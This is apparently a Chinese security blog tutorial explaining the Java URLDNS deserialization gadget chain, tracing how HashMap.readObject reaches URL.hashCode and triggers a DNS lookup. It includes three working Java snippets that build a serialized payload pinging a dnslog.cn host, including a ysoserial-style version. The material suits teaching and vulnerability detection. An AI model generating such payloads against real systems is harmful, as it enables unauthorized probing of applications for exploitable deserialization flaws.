Java反序列化漏洞(二)- URLDNS链
URLDNS 是适合新手分析的反序列化链,只依赖原生类,没有 jdk 版本限制,也被 ysoserial 涵盖在其中。它不会执行命令,只会触发 DNS 解析,因此通常用来探测是否存在反序列化漏洞。
0x01 概述
漏洞来源地址:点击这里
Java URLDNS链是通过readObject
反序列化+DNS查询来确认反序列化利用点的存在。该利用链具有如下特点:
- 只能发起 DNS 请求,不能进行其它利用。
- 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求。
- 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞。
这个漏洞关键点是 Java 内置的 java.net.UR
L 类,这个类的 equals
和 hashCode
方法具有一个有趣的特性:在对 URL 对象进行比较时(使用 equals
方法或 hashCode
方法),会触发一次 DNS 解析,因为对于 URL 来说,如果两个主机名(host)都可以解析为相同的 IP 地址,则这两个主机会被认为是相同的。
0x02前置知识
URL#equals
我们先来看一下这个特性的具体调用代码,URL#equals
方法重写了 Object 的判断,调用 URLStreamHandler#equals
方法进行判断:
URLStreamHandler#equals
方法判断 URL 对象的锚点是否相同,并调用 sameFile
方法比较两个 URL,看它们是否引用了相同的 protocol(协议)、host(主机)、port(端口)、path(路径)。
sameFile
方法在比较 host(主机)时,调用 hostsEqual
方法进行比较。
hostsEqual
方法调用 getHostAddress
方法对要比较的两个 URL 进行请求解析 IP 地址,并实施对比。
getHostAddress
方法使用 InetAddress.getByName()
方法对 host 进行解析,触发了 DNS 请求。
URL#hashCode
再来看一下 URL 的 hashCode
方法,此方法将一个对象映射为一个整型的值,通常与 equals
方法同时出现。当 equals
方法被重写时,hashCode
也需要被重写。按照一般 hashCod
e 方法的实现来说,如果两个对象通过 equals
方法判断相同,那它们的 hash code
一定相等。URL 的 hashCode
方法也进行了重写,调用了 URLStreamHandler#hashCode
方法。在此之前有一个判断,那就是 hashCode != -1
同样是调用了 getHostAddress
方法对 URL 的 host 进行了解析。
接下来我们使用 DNSLOG 来进行测试,代码如下:
URL url = new URL("http://sanshi.dnslog.cn");
URL url2 = new URL("http://sanshi.dnslog.cn");
url.equals(url2);
url.hashCode();
我们发现,无论是使用 equals
方法,还是使用 hashCode
方法,应用程序都会触发访问,这就是漏洞的 sink 点。
接下来就是入口点,重写了 readObject
的类,也是 URLDNS gadget 的主角 —— java.util.HashMap
,对于这个类大家最熟悉不过,可以说是最常用的 Map 的实现类。
既然是 Map,那就是以键值对的方式存储数据,HashMap 为提升操作效率,根据键的 hashCode 值存储数据,并引入了链表来解决 hash 碰撞的问题,因此具有很快的访问速度。总体来说,HashMap 就是数组和链表的结合体。在 JDK 1.8 以后,又增加了红黑树,在链表长度大于 8 时转换为红黑树。
直接来看一下 HashMap 的 readObject
方法,省略掉前面各种初始化的代码,将序列化对象中的键值进行 for 循环,并调用里面的 key 和 value 对象的 readObject
方法反序列化 key 和 value 的值后,使用 putVal
(1.7 是 putForCreate
方法) 将这些键、值以及相关的 hash 等信息写入 HashMap 的属性 table 中。
putVal
方法就是 Map#put
以及相关方法的有关实现,有 5 个参数,分别是 hash 值,key 对象 ,value 对象和两个布尔参数,其中的 hash ,key ,value 就是用于创建 Node 对象的相关属性。
HashMap 通过一个静态方法 hash
计算 key 对象的 hash 值,如果 key 为 null, 则值为 0 ,否则将调用 key 的 hashCode
方法计算 hashCode 值,再和位移 16 位的结果进行异或得出 hash 值。
也就是说,在反序列化一个 HashMap 时,会调用其中的 key 对象的 hashCode
方法计算 hash 值。这就可以触发之前讨论的 URL 对象 DNS 解析请求。如果反序列化一个 HashMap 对象中的 key 是 URL 对象,在反序列化时就会调用这个 URL 对象的 hashCode
方法,触发 DNS 解析查询。
这个逻辑就是 URLDNS 这条反序列化利用的 gadget 的基本原理,接下来我们测试一下,有两个需要注意的点是,在使用 HashMap 的 put
方法时,也是调用 putVal
方法,会对 key 进行 hash,触发解析。如果我们不想在生成 payload 时触发 DNS 解析,就要使用反射将值放进去。
第二,在 URL 对象有一个属性 hashCode
,默认是 -1,使用hashCode
方法计算时会在 hashCode
属性中缓存已经计算过的值,如果再次计算将直接返回值,不会在触发 URLStreamHandler 的 hashCode
方法,也就不会触发漏洞。所以我们需要在生成的 HashMap 中的 URL 参数的 hashCode
值在反序列化时为 -1,而刚才说过,如果使用 put
方法,会调用一次 key 的 hash
计算,也就是 URL 的 hashCode
方法,这样就把 hashCode
缓存了,在反序列化时就不会触发 URLStreamHandler 的 hashCode
方法以及后面的逻辑,所以有两种思路解决这个问题:
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://sanshi.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0x01010101);
hashMap.put(url, 0);
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.bin"));
ois.readObject();
}
第二种思路的代码实现:
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://sanshi.dnslog.cn");
Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
for (Method method : m) {
if (method.getName().equals("putVal")) {
method.setAccessible(true);
method.invoke(hashMap, -1, url, 0, false, true);
}
}
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns2.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns2.bin"));
ois.readObject();
}
以上两种都可以成功触发 DNS 查询,接下来我们看一下 ysoserial 是怎么实现的。
它显然是使用了第三种思路实现的,分别处理了 put 时的触发和 hashCode 缓存的问题,代码改成与前两个类似的方式就是:
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static void main(String[] args) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL(null, "http://sanshi.dnslog.cn", handler);
hashMap.put(url, 0);
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns3.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns3.bin"));
ois.readObject();
}
可以看到,ysoserial 自定义了 URLStreamHandler 的子类 SilentURLStreamHandler ,在初始化 URL 对象时传入,那么在 HashMap 的 put
方法触发的 hash 计算在调用到 URLStreamHandler 的getHostAddress
方法时将调用我们自定义的 SilentURLStreamHandler 的 getHostAddress
,不会触发 DNS 查询,而 put 之后则是通过反射将 URL 对象的 hashCode 的值重新改为 -1。
0x03 总结
以上就是 URLDNS 分析的全部内容了,最后总结一下。
利用说明
- 通过 HashMap 的反序列化调用 URL 的 hashCode 方法发起 DNS 查询,通常用来检测反序列化漏洞的存在。
Gadget 总结:
- kick-off gadget:
java.util.HashMap#readObject()
- sink gadget:
java.net.URL#hashCode()
- chain gadget:无
调用链展示:
HashMap.readObject()
*HashMap.put()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
免责声明
免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!